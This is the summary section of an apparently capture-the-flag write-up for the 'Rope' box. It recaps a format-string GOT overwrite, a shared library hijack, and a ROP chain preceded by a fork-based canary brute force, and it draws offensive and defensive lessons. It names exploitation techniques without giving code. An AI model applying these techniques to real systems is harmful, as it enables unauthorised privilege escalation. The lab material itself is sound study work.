Root access achieved! The combination of fork-based canary brute forcing, multi-stage ROP chaining, and libc address resolution demonstrates why this box is rated Insane.

5 Summary

Rope is a masterclass in progressive binary exploitation. Each escalation stage requires a different exploitation primitive, and the difficulty ramps up significantly from one user to the next. Here's a recap of the key techniques:

StageUserTechniqueKey Challenge
1johnFormat String → GOT OverwritePIE bypass via memory leak
2r4jShared Library HijackIdentifying world-writable liblog.so
3rootBuffer Overflow → ROP ChainFork-based canary brute force (3 stages)

The box teaches several important lessons for both offensive and defensive security practitioners. From an offensive perspective, it reinforces that format strings are not just information leaks — they're arbitrary write primitives when combined with Partial RELRO. The fork-based brute force technique is a classic that every pwn practitioner should have in their toolkit. From a defensive perspective, the misconfigurations are instructive: world-writable shared libraries in sudo-allowed binaries, custom webservers with trivial directory traversal, and network services that fork without re-randomizing canaries.

Key Takeaways: Always check RELRO when considering GOT overwrites. Fork-based servers are vulnerable to canary brute forcing. Shared library permissions in sudo chains are a critical audit point. And never underestimate the power of a simple format string bug.